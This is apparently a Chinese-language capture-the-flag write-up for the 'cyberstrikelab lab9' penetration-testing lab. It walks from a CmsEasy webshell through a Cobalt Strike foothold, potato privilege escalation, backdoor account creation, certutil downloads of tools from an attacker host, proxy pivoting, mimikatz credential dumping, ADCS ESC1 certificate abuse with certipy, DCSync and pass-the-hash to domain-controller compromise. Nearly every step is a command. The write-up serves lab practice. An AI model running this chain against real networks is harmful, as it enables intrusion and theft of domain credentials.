lab9
精简思路
1
|
先在外网拿下shell,发现2个内网主机,88主机扫一下发现rdp登入,然后55主机利用ADCS-ESC1+DCync拿到域控hash,然后打hash传递
|
直接访问是一个cmseasy,访问/admin进入后台登入页面,admin/admin123456登入

这个easycms春秋云镜写过
https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E5%92%8C%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/#%E5%AE%89%E8%A3%85%E5%8C%85%E4%B8%8B%E8%BD%BD


然后写入马,蚁剑连接,根目录拿到flag
PowerShell Payload上线cs
上传fscan,发现上传不完整?接下来2种打法,利用certutil.exe是上传fscan与stowaway,就不rpd登入了,第二种就是上线cs,然后提权到system然后rpd登入,然后再certutil.exe 上传。算了,锻炼一下,还是上线cs吧
1
|
sudo openvpn --config cyberstrikelab.com-lab9.ovpn --keepalive 10 60 --route-nopull --route 172.5.33.6 255.255.255.255 &
|
1
|
./teamserver 172.5.33.6 111111
|

然后烂土豆提权

然后添加用户呗
但是失败了???
1
2
3
4
|
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
shell net user hack Admin@123 /add
shell net localgroup Administrators hack /add
shell netsh firewall set opmode disable
|
那就只能远程下载了,kali起一个pyhton服务,远程下载文件
1
2
|
certutil.exe -urlcache -split -f http://172.16.233.2/win_agent.exe win_agent.exe
certutil.exe -urlcache -split -f http://172.16.233.2/fscan.exe fscan.exe
|

1
2
3
|
10.6.6.55 DC
10.6.6.88 cyberweb
10.6.6.10 外网服务器
|
发现了一个证书类型的漏洞,在单独扫描cyberweb这台机器看看

扫出一个其的rdp登入的用户密码,那就搭建代理登入呗(都可以在蚁剑完成,这里上线cs没啥必要)
1
2
|
./linux_x64_admin -l 172.16.233.2:8000 -s 123
win_agent.exe -c 172.16.233.2:8000 -s 123 --reconnect 8
|
然后rdp登入呗
1
|
proxychains4 xfreerdp /u:administrator /p:'qwe123!@#' /v:10.6.6.88 /cert:ignore /tls-seclevel:0 /drive:share,/mnt/xpw/kali_shard
|
C盘下得到flag2

ADCS-ESC1漏洞
然后上线cs,使用tcp正向连接的监听器生成stageless木马,然后还是是上面一样,还是利用跳板机与目标主机建立IPC$连接
1
|
shell net use \\10.6.6.88\C$ "qwe123!@#" /user:Administrator
|
上传后stageless木马管理员程序运行,然后再跳板机运行这

然后猕猴桃抓哈希
1
2
|
shell C:\\Users\\Administrator\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords
" "exit"
|
上传甜土豆提权看看CA名字-cyberstrikelab-DC-CA

然后配置hosts(但是这里我没配置也行)
1
2
3
|
10.6.6.55 cyberstrikelab.com
10.6.6.55 cyberstrikelab-DC-CA
10.6.6.55 DC.cyberstrikelab.com
|
利用 CYBERWEB$ 机器用户新建一个机器用户(在默认的 Active Directory 设置中,任何经过认证的域用户(包括普通的域用户 user,也包括机器账户 CYBERWEB$)都有权限在域内创建最多 10 个新的机器账户。这就是 MachineAccountQuota。而Administrator 是本地管理员。这个账号只管 10.6.6.88 这一台机器,出了这台机器,域控制器(DC)根本不认识它。为啥要创建用户再申请,因为不知道其明文密码是什么)
1
|
proxychains4 -q certipy account create -u CYBERWEB$ -hashes a8598db064328134344a5e59f5d2dc94 -dc-ip 10.6.6.55 -user citrus -dns DC.cyberstrikelab.com -debug
|

使用创建好的机器账号申请一个证书(运行两次,第一次会报错)
1
|
proxychains4 -q certipy req -u 'citrus$@cyberstrikelab.com' -p 'CCg6zZYqGL2yN7VS' -ca 'cyberstrikelab-DC-CA' -target 10.6.6.55 -template 'Machine' -debug -dc-ip 10.6.6.55
|

利用证书即可获取到域控机器账号的Hash
1
|
proxychains4 -q certipy auth -pfx dc.pfx -dc-ip 10.6.6.55 -debug
|
报错Kali 机器时间和目标域控(DC)的时间相差太大了,那就伪造时间
1
|
faketime '2026-01-17 10:05:01' proxychains4 certipy -debug auth -pfx dc.pfx -dc-ip 10.6.6.55
|

DCsync+PTH
利用域控机器的hash进行DCsync
1
|
proxychains -q impacket-secretsdump cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:2db140cbc5eb281248e332ae22ff314d
|

1
|
proxychains4 impacket-smbexec -hashes :28cfbc91020438f2a064a63fff9871fa cyberstrikelab.com/Administrator@10.6.6.55
|

1
|
这里ADCS-ESC1漏洞的打法简单点就是说利用证书伪造域控制器这台机器本身(dc),然后利用DCsync(就是域控制器为了同步数据,可以拿到所有人的密hash)拿到域管理员的hash
|
但是看下面的文章,可以直接伪造域管理员
1
|
proxychains4 certipy req -u 'citrus$@cyberstrikelab.com' -p 'CCg6zZYqGL2yN7VS' -target 10.6.6.55 -dc-ip 10.6.6.55 -ca 'cyberstrikelab-DC-CA' -template 'DC' -upn 'administrator@cyberstrikelab.com'
|
cyberstrikelab-Lab9靶机 WP-先知社区
CyberStrikeLab-lab9-WP - 破防剑客 - 博客园
cyberstrikelab-lab9